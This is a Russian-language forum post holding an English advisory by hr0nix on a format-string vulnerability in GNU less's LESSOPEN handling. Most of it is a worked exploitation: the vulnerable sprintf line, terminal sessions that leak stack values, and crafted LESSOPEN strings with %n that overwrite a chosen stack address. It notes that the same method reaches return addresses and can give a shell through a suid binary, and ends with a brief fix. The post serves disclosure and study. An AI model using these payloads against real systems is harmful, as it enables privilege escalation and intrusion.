Поиск  Пользователи  Правила 
Закрыть
Логин:
Пароль:
Забыли свой пароль?
Войти
 
Страницы: 1
RSS
less advisory
 
Оффициальное эдвайзори последней уязвимости в less меня не порадовало своей лаконичностью и отсутствием примеров, поэтому сделал свое. Оцените:
Код
Author: hr0nix
Date: 22.08.04
Product: GNU less versions 358, 381, 382

1. Basic info.

GNU less is a UNIX console tool like "more", using for comfortable file viewing. It differs from "more" cause you can view file not only frontwards, but backwards too.

2. Bug Description.

GNU less of the versions 358, 381, 382 is vulnerable to format-string bug in "filename.c":

filename.c (less v381) :

796:     char * lessopen;
...
806:     if ((lessopen = lgetenv(LESSOPEN)) == NULL)
 807:         &n bsp;return(NULL);
...
826:     cmd = (char *) ecalloc(strlen(lessopen) + strlen(filename) + 2,
 827:         &n bsp;     sizeof(char);
 
 828:     sprintf(cmd,lessopen,filen ame);
...

As we can see, variable "lessopen" contains a pointer to env-variable "LESSOPEN" (796). But after copying pointer "lessopen" is used like a format expression. Line 828 means that "lessopen" must contain something like "blablabla %s blablabla", couse sprintf has only one argument after format expression which is string. But what happens if we put in "LESSOPEN" env-variable string containing not only one format-specificator? Let's try to do it:

hr0nix@id:/root/work/exploits/4development/less$ export LESSOPEN="%p"
hr0nix@id:/root/work/exploits/4development/less$ ./less just_a_file
/bin/bash: 0x8078570: command not found
just_a_file: No such file or directory
hr0nix@id:/root/work/exploits/4development/less$

hmm... So, we get "filename" pointer (not string) value.

3. Simply exploitation.

You may ask: "and Where is the vuln? I just can view some digits". Heh, look for the next example:

First of all, i added 3 strings to "filename.c":

void * pointer = 0xaaaaaaaa;  // after line 796

printf("Before overwrite pointer is %p (%p)\n",pointer,&pointer);  // after line 807

printf("After overwrite pointer is %p (%p)\n",pointer,&pointer);  // after line 828

So let's compile less again and look what does it do:

hr0nix@id:/root/work/exploits/4development/less$ export LESSOPEN="%p"
hr0nix@id:/root/work/exploits/4development/less$ ./less just_a_file
Before overwrite pointer is 0xaaaaaaaa (0xbffffa38)
After overwrite pointer is 0xaaaaaaaa (0xbffffa38)
/bin/bash: 0x8078570: command not found
just_a_file: No such file or directory
hr0nix@id:/root/work/exploits/4development/less$

So we create a pointer in stack and less told us it's address and value if $LESSOPEN is not empty. Now, when we know pointer address, we can overwrite it using specially generated format-string. First of all we must found our format-string in stack:

hr0nix@id:/root/work/exploits/4development/less$ export LESSOPEN="AAAA%180\$x"
hr0nix@id:/root/work/exploits/4development/less$ ./less just_a_file
Before overwrite pointer is 0xaaaaaaaa (0xbffffa28)
After overwrite pointer is 0xaaaaaaaa (0xbffffa28)
/bin/bash: AAAA4f535345: command not found
just_a_file: No such file or directory
hr0nix@id:/root/work/exploits/4development/less$ export LESSOPEN="AAAA%181\$x"
hr0nix@id:/root/work/exploits/4development/less$ ./less just_a_file
Before overwrite pointer is 0xaaaaaaaa (0xbffffa28)
After overwrite pointer is 0xaaaaaaaa (0xbffffa28)
/bin/bash: AAAA3d4e4550: command not found
just_a_file: No such file or directory
hr0nix@id:/root/work/exploits/4development/less$ export LESSOPEN="AAAA%182\$x"
hr0nix@id:/root/work/exploits/4development/less$ ./less just_a_file
Before overwrite pointer is 0xaaaaaaaa (0xbffffa28)
After overwrite pointer is 0xaaaaaaaa (0xbffffa28)
/bin/bash: AAAA41414141: command not found
just_a_file: No such file or directory
hr0nix@id:/root/work/exploits/4development/less$

AAAA41414141 means that 182's word (4 bytes sequence) in stack contains our "AAAA". Now we can change AAAA to the address of our pointer and change $x to $n ($n means that current output position will be writed to the given argument):
hr0nix@id:/root/work/exploits/4development/less$ export LESSOPEN="`printf "\x28\xfa\xff\xbf"`%182\$n"
hr0nix@id:/root/work/exploits/4development/less$ echo $LESSOPEN
(ЗЪ©%182$n
hr0nix@id:/root/work/exploits/4development/less$ ./less just_a_file
Before overwrite pointer is 0xaaaaaaaa (0xbffffa28)
After overwrite pointer is 0x4 (0xbffffa28)
/bin/bash: -c: line 2: syntax error: unexpected end of file
just_a_file: No such file or directory
hr0nix@id:/root/work/exploits/4development/less$

Pointer changes to 0x4! So in such manner we can overwrite practically every program address (like functions RET-addresses or .dtor address). But there is a little problem: if we will use in our format expression something like "%.<num>x", we can overflow heap memory where cmd points and get SIGSEGV instead of what we expect:

hr0nix@id:/root/work/exploits/4development/less$ export LESSOPEN="`printf "\x28\xfa\xff\xbf"%.100x`%182\$n"
hr0nix@id:/root/work/exploits/4development/less$ ./less just_a_file
Before overwrite pointer is 0xaaaaaaaa (0xbffff9c8)
Segmentation fault
hr0nix@id:/root/work/exploits/4development/less$

But we can see that cmd size depends not only on size of lessopen, but on size of filename. So we can increase filename len to the value we want (couse it isn't printed to our cmd if we don't want it) and to get less successfully exploited:

hr0nix@id:/root/work/exploits/4development/less$ export LESSOPEN="`printf "\xc8\xf9\xff\xbf"`%.100xBB%204\$n"
hr0nix@id:/root/work/exploits/4development/less$ echo $LESSOPEN
хЫЪ©%.100xBB%204$n
hr0nix@id:/root/work/exploits/4development/less$ ./less `perl -e 'print "A"x110'`
Before overwrite pointer is 0xaaaaaaaa (0xbffff9c8)
After overwrite pointer is 0x6a (0xbffff9c8)
/bin/bash:  хЫЪ©00000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000008078650BB:  command not found
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:  No such file or directory
hr0nix@id:/root/work/exploits/4development/less$

Successful!

4. Useful exploitation.

If there is a suid binary that uses less, we can get shell with rights of the suid binary owner through this bug.

5. Solution.

The only way to solve that problem is to parse $LESSOPEN for format simbols that differ from "%s".




Greetz to darkwired (irc.darkwired.org), InDecision (sdx, t0ga, xmr), m00 (d4rkgr3y).

hr0nix [InDecision] 2004 year.

Страницы: 1
Читают тему